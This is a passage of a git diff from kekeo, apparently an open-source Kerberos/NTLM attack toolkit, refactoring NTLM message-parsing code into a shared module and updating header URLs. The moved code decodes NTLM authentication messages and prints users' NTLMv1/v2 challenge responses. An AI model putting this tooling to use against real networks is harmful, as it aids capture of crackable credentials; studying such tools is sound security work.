-BOOL kuhl_m_misc_keytab_ekey_with_salt(LPCWSTR password, PCUNICODE_STRING salt, EncryptionKey *ekey);
-BOOL kuhl_m_misc_keytab_tofile(PKIWI_AUTH_INFOS infos, EncryptionKey *key, LPCWSTR filename);
+BOOL kuhl_m_misc_keytab_salt_from_info2(KULL_M_ASN1__octet1 *info2, KULL_M_ASN1_Int32 etype, PUNICODE_STRING salt);
+BOOL kuhl_m_misc_keytab_padata_from_edata(KULL_M_ASN1__octet1 *e_data, KULL_M_ASN1_Int32 type, KULL_M_ASN1__octet1 *padata);
+BOOL kuhl_m_misc_keytab_ekey_with_salt(LPCWSTR password, PCUNICODE_STRING salt, KULL_M_ASN1_EncryptionKey *ekey);
+BOOL kuhl_m_misc_keytab_tofile(PKIWI_AUTH_INFOS infos, KULL_M_ASN1_EncryptionKey *key, LPCWSTR filename);
//static const RPC_SYNTAX_IDENTIFIER AbstractSyntax = {{0xe1af8308, 0x5d1f, 0x11c9, {0x91, 0xa4, 0x08, 0x00, 0x2b, 0x14, 0xa0, 0xfa}}, {3, 0}};
//static const RPC_SYNTAX_IDENTIFIER NdrTransferSyntax = {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}};
diff --git a/kekeo/modules/kuhl_m_ntlm.c b/kekeo/modules/kuhl_m_ntlm.c
index e4efbb0..0a5ca13 100644
--- a/kekeo/modules/kuhl_m_ntlm.c
+++ b/kekeo/modules/kuhl_m_ntlm.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -52,16 +52,16 @@ NTSTATUS kuhl_m_ntlm_netntlm(int argc, wchar_t * argv[])
status = InitializeSecurityContext(&Credentials, NULL, NULL, ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NATIVE_DREP, NULL, 0, &NewContext, &Output, &ContextAttr, &SecurityContextExpiry);
if(status == SEC_I_CONTINUE_NEEDED)
{
- kuhl_m_ntlm_descrGeneric(&Output, NTLMSSP_TypeOneMessage);
+ kull_m_ntlm_descrGeneric(&Output, NTLMSSP_TypeOneMessage);
kprintf(L"CHALLENGE :\n");
if(kuhl_m_ntlm_netntlm_buildChallenge(&InBuff, FileName, NULL, NULL, TargetName, DomainName, ComputerName, NULL, flags))
{
- kuhl_m_ntlm_descrGeneric(&Input, NTLMSSP_TypeTwoMessage);
+ kull_m_ntlm_descrGeneric(&Input, NTLMSSP_TypeTwoMessage);
kprintf(L"AUTHENTICATE:\n");
status = InitializeSecurityContext(&Credentials, &NewContext, NULL, ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NATIVE_DREP, &Input, 0, &NewContext, &Output2, &ContextAttr, &SecurityContextExpiry);
if(status == SEC_E_OK)
{
- kuhl_m_ntlm_descrGeneric(&Output2, NTLMSSP_TypeThreeMessage);
+ kull_m_ntlm_descrGeneric(&Output2, NTLMSSP_TypeThreeMessage);
FreeContextBuffer(Out2Buff.pvBuffer);
}
else PRINT_ERROR(L"InitializeSecurityContext(2/2): 0x%08x\n", status);
@@ -336,7 +336,7 @@ NTSTATUS kuhl_m_ntlm_http(int argc, wchar_t * argv[])
status = InitializeSecurityContext(&Credentials, NULL, NULL, ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NATIVE_DREP, NULL, 0, &NewContext, &Output, &ContextAttr, &SecurityContextExpiry);
if(status == SEC_I_CONTINUE_NEEDED)
{
- kuhl_m_ntlm_descrGeneric(&Output, NTLMSSP_TypeOneMessage);
+ kull_m_ntlm_descrGeneric(&Output, NTLMSSP_TypeOneMessage);
if(negoHeader = kuhl_m_ntlm_http_encodeAuthNTLMB64(package, isProxy, &Output))
{
kprintf(L"[Client]\n %s\n\n[Server]\n", negoHeader);
@@ -348,14 +348,14 @@ NTSTATUS kuhl_m_ntlm_http(int argc, wchar_t * argv[])
kprintf(L"%.*s\n[SSPI - CHALLENGE]\n", dwLen / sizeof(wchar_t), inputChallenge);
if(kuhl_m_ntlm_http_decodeB64NTLMAuth(package, inputChallenge, &Input))
{
- kuhl_m_ntlm_descrGeneric(&Input, NTLMSSP_TypeTwoMessage);
+ kull_m_ntlm_descrGeneric(&Input, NTLMSSP_TypeTwoMessage);
if(altIdentity.UserLength || kull_m_string_args_byName(argc, argv, L"auth", NULL, NULL))
{
kprintf(L"\n[SSPI - AUTHENTICATE]\n");
status = InitializeSecurityContext(&Credentials, &NewContext, NULL, ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NATIVE_DREP, &Input, 0, &NewContext, &Output2, &ContextAttr, &SecurityContextExpiry);
if(status == SEC_E_OK)
{
- kuhl_m_ntlm_descrGeneric(&Output2, NTLMSSP_TypeThreeMessage);
+ kull_m_ntlm_descrGeneric(&Output2, NTLMSSP_TypeThreeMessage);
if(authHeader = kuhl_m_ntlm_http_encodeAuthNTLMB64(package, isProxy, &Output2))
{
kprintf(L"[Client]\n %s\n\n[Server]\n", authHeader);
@@ -589,267 +589,4 @@ BOOL kuhl_m_ntlm_http_decodeB64NTLMAuth(LPCWCHAR Scheme, PCWCHAR b64, PSecBuffer
LocalFree(tmp);
}
return status;
-}
-
-void kuhl_m_ntlm_descrGeneric(PSecBufferDesc buff, ULONG WantedMessageType)
-{
- ULONGLONG Signature;
- ULONG MessageType;
- if(buff)
- {
- if(buff->ulVersion == SECBUFFER_VERSION)
- {
- if(buff->cBuffers == 1)
- {
- if(buff->pBuffers)
- {
- if((buff->pBuffers[0].BufferType & ~SECBUFFER_ATTRMASK) == SECBUFFER_TOKEN)
- {
- if(buff->pBuffers[0].cbBuffer > (sizeof(ULONGLONG) + sizeof(ULONG)))
- {
- if(buff->pBuffers[0].pvBuffer)
- {
- Signature = *(PULONGLONG) buff->pBuffers[0].pvBuffer;
- MessageType = ((PULONG) buff->pBuffers[0].pvBuffer)[2];
- if(Signature == NTLMSSP_Signature_ULL)
- {
- if(!WantedMessageType || (WantedMessageType == MessageType))
- {
- switch(MessageType)
- {
- case NTLMSSP_TypeOneMessage:
- kuhl_m_ntlm_descrNegotiate((PKIWI_NTLM_NEGOTIATE_MESSAGE) buff->pBuffers[0].pvBuffer);
- break;
- case NTLMSSP_TypeTwoMessage:
- kuhl_m_ntlm_descrChallenge((PKIWI_NTLM_CHALLENGE_MESSAGE) buff->pBuffers[0].pvBuffer);
- break;
- case NTLMSSP_TypeThreeMessage:
- kuhl_m_ntlm_descrAuthenticate((PKIWI_NTLM_AUTHENTICATE_MESSAGE) buff->pBuffers[0].pvBuffer);
- break;
- default:
- PRINT_ERROR(L"Unknown MessageType: 0x%08x\n", MessageType);
- }
- }
- else PRINT_ERROR(L"Invalid MessageType: 0x%08x\n", MessageType);
- }
- else PRINT_ERROR(L"Invalid Signature: %016llx\n", _byteswap_uint64(Signature));
- }
- else PRINT_ERROR(L"SecBuffer - pvBuffer is NULL\n");
- }
- else PRINT_ERROR(L"SecBuffer - cbBuffer (%u)\n", buff->pBuffers[0].BufferType);
- }
- else PRINT_ERROR(L"SecBuffer - BufferType (0x%08x)\n", buff->pBuffers[0].BufferType);
- }
- else PRINT_ERROR(L"SecBufferDesc - pBuffers is NULL\n");
- }
- else PRINT_ERROR(L"SecBufferDesc - cbBuffers (%u)\n", buff->cBuffers);
- }
- else PRINT_ERROR(L"SecBufferDesc - ulVersion (%u)\n", buff->ulVersion);
- }
- else PRINT_ERROR(L"SecBufferDesc - No buffer\n");
-}
-
-const PCWCHAR KIWI_NEGOTIATE_FLAGS[] = {
- L"UNICODE", L"OEM", L"ReqTARGET", L"RESERVED_10", L"SIGN", L"SEAL", L"DATAGRAM", L"LM_KEY",
- L"RESERVED_9", L"NTLM", L"RESERVED_8", L"ANONYMOUS", L"OEM_DOMAIN_SUPPLIED", L"OEM_WORKSTATION_SUPPLIED", L"LOCAL_CALL", L"ALWAYS_SIGN",
- L"TARGET_TYPE_DOMAIN", L"TARGET_TYPE_SERVER", L"TARGET_TYPE_SHARE", L"EXTENDED_SESSIONSECURITY", L"IDENTIFY", L"RESERVED_5", L"ReqNON_NT_SESSION_KEY", L"TARGET_INFO",
- L"RESERVED_4", L"VERSION", L"RESERVED_3", L"RESERVED_2", L"RESERVED_1", L"128", L"KEY_EXCH", L"56",
-};
-void kuhl_m_ntlm_descrNegotiateFlags(ULONG flags)
-{
- BYTE i;
- kprintf(L"0x%08x ( ", flags);
- for(i = 0; i < sizeof(ULONG) * 8; i++)
- if((flags >> i) & 1)
- kprintf(L"%s ", KIWI_NEGOTIATE_FLAGS[i]);
- kprintf(L")\n");
-}
-
-const PCWCHAR KIWI_MSV1_0_AVIDS[] = {L"EOL", L"NbComputerName", L"NbDomainName", L"DnsComputerName", L"DnsDomainName", L"DnsTreeName", L"Flags", L"Timestamp", L"Restrictions", L"TargetName", L"ChannelBindings",};
-const PCWCHAR KIWI_MSV1_0_AVFLAGS[] = {L"FORCE_GUEST", L"MIC_HANDSHAKE_MESSAGES", L"UNVERIFIED_TARGET"};
-void kuhl_m_ntlm_descrAvPairs(PKIWI_NTLM_AV_PAIR pPair, USHORT len)
-{
- ULONG i, flags;
- PKIWI_NTLM_Single_Host_Data pData;
- while(pPair->AvId)
- {
- kprintf(L" [%04x] %-15s - ", pPair->AvId, (pPair->AvId < ARRAYSIZE(KIWI_MSV1_0_AVIDS)) ? KIWI_MSV1_0_AVIDS[pPair->AvId] : L"?");
- switch(pPair->AvId)
- {
- case MsvAvNbComputerName:
- case MsvAvNbDomainName:
- case MsvAvDnsComputerName:
- case MsvAvDnsDomainName:
- case MsvAvDnsTreeName:
- case MsvAvTargetName:
- kprintf(L"\'%.*s\'", pPair->AvLen / sizeof(wchar_t), pPair->Value);
- break;
- case MsvAvFlags:
- flags = *(PULONG) pPair->Value;
- kprintf(L"%08x - ", flags);
- for(i = 0; i < sizeof(flags) * 8; i++)
- if((flags >> i) & 1)
- kprintf(L"%s ; ", (i < ARRAYSIZE(KIWI_MSV1_0_AVFLAGS)) ? KIWI_MSV1_0_AVFLAGS[i] : L"?");
- break;
- case MsvAvTimestamp:
- kull_m_string_displayLocalFileTime((PFILETIME) pPair->Value);
- break;
- case MsvAvRestrictions:
- pData = (PKIWI_NTLM_Single_Host_Data) pPair->Value;
- kprintf(L"CustomData: ");
- kull_m_string_wprintf_hex(pData->CustomData, sizeof(pData->CustomData), 0);
- kprintf(L" ; MachineID: ");
- kull_m_string_wprintf_hex(pData->MachineID, sizeof(pData->MachineID), 0);
- if(pData->Size > FIELD_OFFSET(KIWI_NTLM_Single_Host_Data, AdditionnalData))
- {
- kprintf(L" ; ?: ");
- kull_m_string_wprintf_hex(pData->AdditionnalData, pData->Size - FIELD_OFFSET(KIWI_NTLM_Single_Host_Data, AdditionnalData), 0);
- }
- break;
- case MsvAvChannelBindings:
- default:
- kull_m_string_wprintf_hex(pPair->Value, pPair->AvLen, 0);
- break;
- }
- kprintf(L"\n");
- pPair = (PKIWI_NTLM_AV_PAIR) ((PUCHAR) pPair + FIELD_OFFSET(KIWI_NTLM_AV_PAIR, Value) + pPair->AvLen);
- }
-}
-
-void kuhl_m_ntlm_descrAuthenticate(PKIWI_NTLM_AUTHENTICATE_MESSAGE pAuth)
-{
- PKIWI_NTLM_LMv2_RESPONSE pLMv2;
- PKIWI_NTLM_NTLMv2_RESPONSE pNTLMv2;
- PKIWI_NTLM_LM_RESPONSE pLMv1;
- PKIWI_NTLM_NTLM_RESPONSE pNTLMv1;
-
- kprintf(L" NegotiateFlags: ");
- kuhl_m_ntlm_descrNegotiateFlags(pAuth->NegotiateFlags);
- kprintf(L" DomainName : ");
- if(pAuth->DomainNameFields.Len)
- kprintf(L"%.*s\n", pAuth->DomainNameFields.Len / sizeof(wchar_t), (PBYTE) pAuth + pAuth->DomainNameFields.Offset);
- else kprintf(L"\n");
- kprintf(L" UserName : ");
- if(pAuth->UserNameFields.Len)
- kprintf(L"%.*s\n", pAuth->UserNameFields.Len / sizeof(wchar_t), (PBYTE) pAuth + pAuth->UserNameFields.Offset);
- else kprintf(L"\n");
- kprintf(L" Workstation : ");
- if(pAuth->WorkstationFields.Len)
- kprintf(L"%.*s\n", pAuth->WorkstationFields.Len / sizeof(wchar_t), (PBYTE) pAuth + pAuth->WorkstationFields.Offset);
- else kprintf(L"\n");
- if(pAuth->NegotiateFlags & NTLMSSP_NEGOTIATE_KEY_EXCH)
- {
- kprintf(L" SessionKey : ");
- if(pAuth->EncryptedRandomSessionKeyFields.Len)
- kull_m_string_wprintf_hex((PBYTE) pAuth + pAuth->EncryptedRandomSessionKeyFields.Offset, pAuth->EncryptedRandomSessionKeyFields.Len, 0);
- else kprintf(L"");
- kprintf(L"\n");
- }
- if(pAuth->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)
- kprintf(L" Version : %hhu.%hhu (%hu) - rev. %hhu\n", pAuth->Version.ProductMajorVersion, pAuth->Version.ProductMinorVersion, pAuth->Version.ProductBuild, pAuth->Version.NTLMRevisionCurrent);
- if((MIMIKATZ_NT_BUILD_NUMBER > 3790) || (pAuth->Version.ProductBuild > 3790))
- {
- kprintf(L" MIC : ");
- kull_m_string_wprintf_hex(pAuth->MIC, sizeof(pAuth->MIC), 0);
- kprintf(L"\n");
- }
- if(pAuth->NtChallengeResponseFields.Len >= sizeof(KIWI_NTLM_NTLMv2_RESPONSE))
- {
- if(pAuth->LmChallengeResponseFields.Len == sizeof(KIWI_NTLM_LMv2_RESPONSE))
- {
- pLMv2 = (PKIWI_NTLM_LMv2_RESPONSE) ((PBYTE) pAuth + pAuth->LmChallengeResponseFields.Offset);
- kprintf(L" LMv2:\n Response : ");
- kull_m_string_wprintf_hex(pLMv2->Response, sizeof(pLMv2->Response), 0);
- kprintf(L"\n ClientChallenge: ");
- kull_m_string_wprintf_hex(pLMv2->ChallengeFromClient, sizeof(pLMv2->ChallengeFromClient), 0);
- kprintf(L"\n");
- }
- pNTLMv2 = (PKIWI_NTLM_NTLMv2_RESPONSE) ((PBYTE) pAuth + pAuth->NtChallengeResponseFields.Offset);
- kprintf(L" NTLMv2:\n Response : ");
- kull_m_string_wprintf_hex(pNTLMv2->Response, sizeof(pNTLMv2->Response), 0);
- kprintf(L"\n ClientChallenge: ");
- kull_m_string_wprintf_hex(pNTLMv2->ClientChallenge.ChallengeFromClient, sizeof(pNTLMv2->ClientChallenge.ChallengeFromClient), 0);
- kprintf(L"\n TimeStamp : ");
- kull_m_string_displayLocalFileTime(&pNTLMv2->ClientChallenge.TimeStamp);
- kprintf(L"\n");
- if(pAuth->NtChallengeResponseFields.Len >= (sizeof(KIWI_NTLM_NTLMv2_RESPONSE) + FIELD_OFFSET(KIWI_NTLM_AV_PAIR, Value)))
- kuhl_m_ntlm_descrAvPairs((PKIWI_NTLM_AV_PAIR) ((PUCHAR) pNTLMv2 + sizeof(KIWI_NTLM_NTLMv2_RESPONSE)), pAuth->NtChallengeResponseFields.Len - sizeof(KIWI_NTLM_NTLMv2_RESPONSE));
- }
- else if(pAuth->NtChallengeResponseFields.Len == sizeof(KIWI_NTLM_NTLM_RESPONSE))
- {
- if(pAuth->LmChallengeResponseFields.Len == sizeof(KIWI_NTLM_LM_RESPONSE))
- {
- pLMv1 = (PKIWI_NTLM_LM_RESPONSE) ((PBYTE) pAuth + pAuth->LmChallengeResponseFields.Offset);
- kprintf(L" LMv1:\n");
- if(pAuth->NegotiateFlags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY)
- {
- kprintf(L" NTLM2 ESS : ");
- kull_m_string_wprintf_hex(pLMv1->Response, 8, 0);
- }
- else
- {
- kprintf(L" Response : ");
- kull_m_string_wprintf_hex(pLMv1->Response, sizeof(pLMv1->Response), 0);
- }
- kprintf(L"\n");
- }
- pNTLMv1 = (PKIWI_NTLM_NTLM_RESPONSE) ((PBYTE) pAuth + pAuth->NtChallengeResponseFields.Offset);
- kprintf(L" NTLMv1:\n Response : ");
- kull_m_string_wprintf_hex(pNTLMv1->Response, sizeof(pNTLMv1->Response), 0);
- kprintf(L"\n");
- }
- else PRINT_ERROR(L"NtChallengeResponseFields.Len = %hu\n", pAuth->NtChallengeResponseFields.Len);
-}
-
-const BYTE KIWI_NTLM_BLACK_CHALLENGES[][8] = {
- {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
- {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88},
- {0x00, 0x02, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00},
- {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08},
- {'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'},
- {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef},
-};
-void kuhl_m_ntlm_descrChallenge(PKIWI_NTLM_CHALLENGE_MESSAGE pChal)
-{
- DWORD i;
- kprintf(L" NegotiateFlags: ");
- kuhl_m_ntlm_descrNegotiateFlags(pChal->NegotiateFlags);
- kprintf(L" Challenge : "); kull_m_string_wprintf_hex(pChal->Challenge, sizeof(pChal->Challenge), 0); kprintf(L"\n");
- for(i = 0; i < ARRAYSIZE(KIWI_NTLM_BLACK_CHALLENGES); i++)
- if(RtlEqualMemory(KIWI_NTLM_BLACK_CHALLENGES[i], pChal->Challenge, 8))
- {
- kprintf(L" ** BLACKLISTED CHALLENGE! **\n");
- break;
- }
- if(pChal->NegotiateFlags & NTLMSSP_REQUEST_TARGET)
- kprintf(L" TargetName : %.*s\n", pChal->TargetNameFields.Len / sizeof(wchar_t), (PUCHAR) pChal + pChal->TargetNameFields.Offset);
- if(pChal->NegotiateFlags & NTLMSSP_NEGOTIATE_TARGET_INFO)
- {
- kprintf(L" TargetInfo :\n");
- kuhl_m_ntlm_descrAvPairs((PKIWI_NTLM_AV_PAIR) ((PBYTE) pChal + pChal->TargetInfoFields.Offset), pChal->TargetInfoFields.Len);
- }
- if(pChal->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)
- kprintf(L" Version : %hhu.%hhu (%hu) - rev. %hhu\n", pChal->Version.ProductMajorVersion, pChal->Version.ProductMinorVersion, pChal->Version.ProductBuild, pChal->Version.NTLMRevisionCurrent);
-}
-
-void kuhl_m_ntlm_descrNegotiate(PKIWI_NTLM_NEGOTIATE_MESSAGE pNeg)
-{
- kprintf(L" NegotiateFlags: ");
- kuhl_m_ntlm_descrNegotiateFlags(pNeg->NegotiateFlags);
- if(pNeg->NegotiateFlags & NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED)
- {
- kprintf(L" DomainName : ");
- if(pNeg->DomainNameFields.Len)
- kprintf(L"%.*S\n", pNeg->DomainNameFields.Len, (PBYTE) pNeg + pNeg->DomainNameFields.Offset);
- else kprintf(L"\n");
- }
- if(pNeg->NegotiateFlags & NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED)
- {
- kprintf(L" Workstation : ");
- if(pNeg->WorkstationFields.Len)
- kprintf(L"%.*S\n", pNeg->WorkstationFields.Len, (PBYTE) pNeg + pNeg->WorkstationFields.Offset);
- else kprintf(L"\n");
- }
- if(pNeg->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)
- kprintf(L" Version : %hhu.%hhu (%hu) - rev. %hhu\n", pNeg->Version.ProductMajorVersion, pNeg->Version.ProductMinorVersion, pNeg->Version.ProductBuild, pNeg->Version.NTLMRevisionCurrent);
}
\ No newline at end of file
diff --git a/kekeo/modules/kuhl_m_ntlm.h b/kekeo/modules/kuhl_m_ntlm.h
index 9a20b7a..1168984 100644
--- a/kekeo/modules/kuhl_m_ntlm.h
+++ b/kekeo/modules/kuhl_m_ntlm.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -9,151 +9,13 @@
#include "../../modules/kull_m_string.h"
#include "../../modules/kull_m_file.h"
#include "../../modules/kull_m_crypto_system.h"
+#include "../../modules/kull_m_ntlm.h"
const KUHL_M kuhl_m_ntlm;
NTSTATUS kuhl_m_ntlm_netntlm(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_ntlm_http(int argc, wchar_t * argv[]);
-#define NTLMSSP_NEGOTIATE_56 0x80000000
-#define NTLMSSP_NEGOTIATE_KEY_EXCH 0x40000000
-#define NTLMSSP_NEGOTIATE_128 0x20000000
-#define NTLMSSP_RESERVED_1 0x10000000
-#define NTLMSSP_RESERVED_2 0x08000000
-#define NTLMSSP_RESERVED_3 0x04000000
-#define NTLMSSP_NEGOTIATE_VERSION 0x02000000
-#define NTLMSSP_RESERVED_4 0x01000000
-#define NTLMSSP_NEGOTIATE_TARGET_INFO 0x00800000
-#define NTLMSSP_REQUEST_NON_NT_SESSION_KEY 0x00400000
-#define NTLMSSP_RESERVED_5 0x00200000
-#define NTLMSSP_NEGOTIATE_IDENTIFY 0x00100000
-#define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000
-#define NTLMSSP_TARGET_TYPE_SHARE 0x00040000 // RESERVED_6
-#define NTLMSSP_TARGET_TYPE_SERVER 0x00020000
-#define NTLMSSP_TARGET_TYPE_DOMAIN 0x00010000
-#define NTLMSSP_NEGOTIATE_ALWAYS_SIGN 0x00008000
-#define NTLMSSP_NEGOTIATE_LOCAL_CALL 0x00004000 // RESERVED_7
-#define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED 0x00002000
-#define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED 0x00001000
-#define NTLMSSP_NEGOTIATE_ANONYMOUS 0x00000800
-#define NTLMSSP_RESERVED_8 0x00000400
-#define NTLMSSP_NEGOTIATE_NTLM 0x00000200
-#define NTLMSSP_RESERVED_9 0x00000100
-#define NTLMSSP_NEGOTIATE_LM_KEY 0x00000080
-#define NTLMSSP_NEGOTIATE_DATAGRAM 0x00000040
-#define NTLMSSP_NEGOTIATE_SEAL 0x00000020
-#define NTLMSSP_NEGOTIATE_SIGN 0x00000010
-#define NTLMSSP_RESERVED_10 0x00000008
-#define NTLMSSP_REQUEST_TARGET 0x00000004
-#define NTLMSSP_NEGOTIATE_OEM 0x00000002
-#define NTLMSSP_NEGOTIATE_UNICODE 0x00000001
-
-#define NTLMSSP_Signature "NTLMSSP"
-#define NTLMSSP_Signature_ULL 0x005053534d4c544e
-#define NTLMSSP_TypeOneMessage 0x00000001
-#define NTLMSSP_TypeTwoMessage 0x00000002
-#define NTLMSSP_TypeThreeMessage 0x00000003
-#pragma pack(push, 1)
-
-#ifndef MSV1_0_AV_FLAG_UNVERIFIED_TARGET
-#define MSV1_0_AV_FLAG_UNVERIFIED_TARGET 0x00000004
-#endif
-
-typedef struct _KIWI_NTLM_Single_Host_Data {
- ULONG Size;
- ULONG Z4;
- UCHAR CustomData[8];
- UCHAR MachineID[32];
- UCHAR AdditionnalData[ANYSIZE_ARRAY];
-} KIWI_NTLM_Single_Host_Data, *PKIWI_NTLM_Single_Host_Data;
-
-typedef struct _KIWI_NTLM_AV_PAIR {
- USHORT AvId;
- USHORT AvLen;
- UCHAR Value[ANYSIZE_ARRAY];
-} KIWI_NTLM_AV_PAIR, *PKIWI_NTLM_AV_PAIR;
-
-typedef struct _KIWI_NTLM_VERSION {
- UCHAR ProductMajorVersion;
- UCHAR ProductMinorVersion;
- USHORT ProductBuild;
- UCHAR Reserved[3];
- UCHAR NTLMRevisionCurrent;
-} KIWI_NTLM_VERSION, *PKIWI_NTLM_VERSION;
-
-typedef struct _KIWI_NTLM_BUFFER {
- USHORT Len;
- USHORT MaxLen;
- ULONG Offset;
-} KIWI_NTLM_BUFFER, *PKIWI_NTLM_BUFFER;
-
-typedef struct _KIWI_NTLM_LM_RESPONSE {
- UCHAR Response[24];
-} KIWI_NTLM_LM_RESPONSE, *PKIWI_NTLM_LM_RESPONSE;
-
-typedef struct _KIWI_NTLM_NTLM_RESPONSE {
- UCHAR Response[24];
-} KIWI_NTLM_NTLM_RESPONSE, *PKIWI_NTLM_NTLM_RESPONSE;
-
-typedef struct _KIWI_NTLM_LMv2_RESPONSE {
- UCHAR Response[16];
- UCHAR ChallengeFromClient[8];
-} KIWI_NTLM_LMv2_RESPONSE, *PKIWI_NTLM_LMv2_RESPONSE;
-
-typedef struct _KIWI_NTLM_NTLMv2_CLIENT_CHALLENGE {
- UCHAR RespType;
- UCHAR HiRespType;
- USHORT Reserved1;
- ULONG Reserved2;
- FILETIME TimeStamp;
- UCHAR ChallengeFromClient[8];
- ULONG Reserved3;
- // AvPairs;
-} KIWI_NTLM_NTLMv2_CLIENT_CHALLENGE, *PKIWI_NTLM_NTLMv2_CLIENT_CHALLENGE;
-
-typedef struct _KIWI_NTLM_NTLMv2_RESPONSE {
- UCHAR Response[16];
- KIWI_NTLM_NTLMv2_CLIENT_CHALLENGE ClientChallenge;
-} KIWI_NTLM_NTLMv2_RESPONSE, *PKIWI_NTLM_NTLMv2_RESPONSE;
-
-typedef struct _KIWI_NTLM_NEGOTIATE_MESSAGE {
- ULONGLONG Signature;
- ULONG MessageType;
- ULONG NegotiateFlags;
- KIWI_NTLM_BUFFER DomainNameFields;
- KIWI_NTLM_BUFFER WorkstationFields;
- KIWI_NTLM_VERSION Version;
- UCHAR Payload[ANYSIZE_ARRAY];
-} KIWI_NTLM_NEGOTIATE_MESSAGE, *PKIWI_NTLM_NEGOTIATE_MESSAGE;
-
-typedef struct _KIWI_NTLM_CHALLENGE_MESSAGE {
- ULONGLONG Signature;
- ULONG MessageType;
- KIWI_NTLM_BUFFER TargetNameFields;
- ULONG NegotiateFlags;
- UCHAR Challenge[8];
- CHAR Reserved[8];
- KIWI_NTLM_BUFFER TargetInfoFields;
- KIWI_NTLM_VERSION Version;
- UCHAR Payload[ANYSIZE_ARRAY];
-} KIWI_NTLM_CHALLENGE_MESSAGE, *PKIWI_NTLM_CHALLENGE_MESSAGE;
-
-typedef struct _KIWI_NTLM_AUTHENTICATE_MESSAGE {
- ULONGLONG Signature;
- ULONG MessageType;
- KIWI_NTLM_BUFFER LmChallengeResponseFields;
- KIWI_NTLM_BUFFER NtChallengeResponseFields;
- KIWI_NTLM_BUFFER DomainNameFields;
- KIWI_NTLM_BUFFER UserNameFields;
- KIWI_NTLM_BUFFER WorkstationFields;
- KIWI_NTLM_BUFFER EncryptedRandomSessionKeyFields;
- ULONG NegotiateFlags;
- KIWI_NTLM_VERSION Version;
- UCHAR MIC[16];
- UCHAR Payload[ANYSIZE_ARRAY];
-} KIWI_NTLM_AUTHENTICATE_MESSAGE, *PKIWI_NTLM_AUTHENTICATE_MESSAGE;
-#pragma pack(pop)
-
typedef struct _KIWI_HTTP {
HINTERNET hSession;
HINTERNET hConnect;
@@ -168,11 +30,4 @@ void kuhl_m_ntlm_http_closeHTTP(PKIWI_HTTP kHttp, BOOL freeIt);
BOOL kuhl_m_ntlm_http_getHeaders(PKIWI_HTTP pHttp, DWORD dwInfoLevel, PDWORD pdwIndex, PBYTE *data, DWORD *len);
BOOL kuhl_m_ntlm_http_sendReceiveHTTP(PKIWI_HTTP pHttp, PCWCHAR headers, PBYTE *data, DWORD *len, WORD *httpStatus);
PWCHAR kuhl_m_ntlm_http_encodeAuthNTLMB64(LPCWCHAR Scheme, BOOL isProxy, PSecBufferDesc pBuf);
-BOOL kuhl_m_ntlm_http_decodeB64NTLMAuth(LPCWCHAR Scheme, PCWCHAR b64, PSecBufferDesc pBuf);
-
-void kuhl_m_ntlm_descrGeneric(PSecBufferDesc buff, ULONG WantedMessageType);
-void kuhl_m_ntlm_descrNegotiateFlags(ULONG flags);
-void kuhl_m_ntlm_descrAvPairs(PKIWI_NTLM_AV_PAIR pPair, USHORT len);
-void kuhl_m_ntlm_descrAuthenticate(PKIWI_NTLM_AUTHENTICATE_MESSAGE pAuth);
-void kuhl_m_ntlm_descrChallenge(PKIWI_NTLM_CHALLENGE_MESSAGE pChal);
-void kuhl_m_ntlm_descrNegotiate(PKIWI_NTLM_NEGOTIATE_MESSAGE pNeg);
\ No newline at end of file
+BOOL kuhl_m_ntlm_http_decodeB64NTLMAuth(LPCWCHAR Scheme, PCWCHAR b64, PSecBufferDesc pBuf);
\ No newline at end of file
diff --git a/kekeo/modules/kuhl_m_server.c b/kekeo/modules/kuhl_m_server.c
index 6363de4..32bfe02 100644
--- a/kekeo/modules/kuhl_m_server.c
+++ b/kekeo/modules/kuhl_m_server.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kuhl_m_server.h b/kekeo/modules/kuhl_m_server.h
index bd9ddb6..8bff1f4 100644
--- a/kekeo/modules/kuhl_m_server.h
+++ b/kekeo/modules/kuhl_m_server.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -15,12 +15,12 @@ NTSTATUS kuhl_m_server_http(int argc, wchar_t * argv[]);
typedef BOOL (CALLBACK * PKUHL_M_SERVER_HTTP_CALLBACK) (PSTR AuthData, LPVOID UserData);
-typedef struct _KUHL_M_SERVER_HTTP_THREAD_DATA {
- SOCKET clientSocket;
